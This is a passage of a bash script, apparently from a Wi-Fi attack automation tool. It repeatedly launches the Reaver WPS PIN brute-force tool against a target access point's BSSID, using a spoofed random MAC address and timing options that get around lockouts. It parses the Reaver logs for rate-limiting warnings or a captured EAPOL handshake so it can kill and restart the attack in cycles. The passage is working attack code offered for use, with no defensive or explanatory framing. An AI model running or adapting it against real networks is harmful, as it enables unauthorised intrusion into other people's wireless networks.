	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP44 (ESSID: $NMEWARN44)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME44-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP44 (ESSID: $NMEWARN44)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R44 == y || $USE_R44 == Y ]] && [[ $USE_LONG44 == y || $USE_LONG44 == Y ]] && [[ $USE_PIN44 == n || $USE_PIN44 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME44"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL44"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP44"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX44" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY44"
echo -e "$info Reaver live time                   = $yel$LIVE44 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME44-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL44 -b $TARGETAP44 -r $RX44:$RY44 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME44-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE44-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME44-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME44-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP44 (ESSID: $NMEWARN44)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME44-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP44 (ESSID: $NMEWARN44)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R44 == n || $USE_R44 == N ]] && [[ $USE_LONG44 == n || $USE_LONG44 == N ]] && [[ $USE_PIN44 == y || $USE_PIN44 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME44"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL44"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP44"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE44 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME44-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL44 -b $TARGETAP44 -vv -x 60  --pin=$WPS_PIN44 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME44-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE44-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME44-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME44-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP44 (ESSID: $NMEWARN44)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME44-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP44 (ESSID: $NMEWARN44)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R44 == y || $USE_R44 == Y ]] && [[ $USE_LONG44 == n || $USE_LONG44 == N ]] && [[ $USE_PIN44 == y || $USE_PIN44 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME44"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL44"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP44"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX44" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY44"
echo -e "$info Reaver live time                   = $yel$LIVE44 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME44-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL44 -b $TARGETAP44 -vv -x 60 -r $RX44:$RY44 --pin=$WPS_PIN44 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME44-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE44-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME44-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME44-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP44 (ESSID: $NMEWARN44)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME44-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP44 (ESSID: $NMEWARN44)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R44 == n || $USE_R44 == N ]] && [[ $USE_LONG44 == y || $USE_LONG44 == Y ]] && [[ $USE_PIN44 == y || $USE_PIN44 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME44"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL44"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP44"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE44 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME44-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL44 -b $TARGETAP44 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN44 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME44-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE44-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME44-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME44-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP44 (ESSID: $NMEWARN44)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME44-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP44 (ESSID: $NMEWARN44)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R44 == y || $USE_R44 == Y ]] && [[ $USE_LONG44 == y || $USE_LONG44 == Y ]] && [[ $USE_PIN44 == y || $USE_PIN44 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME44"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL44"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP44"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX44" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY44"
echo -e "$info Reaver live time                   = $yel$LIVE44 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME44-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL44 -b $TARGETAP44 -r $RX44:$RY44 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN44 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME44-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE44-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

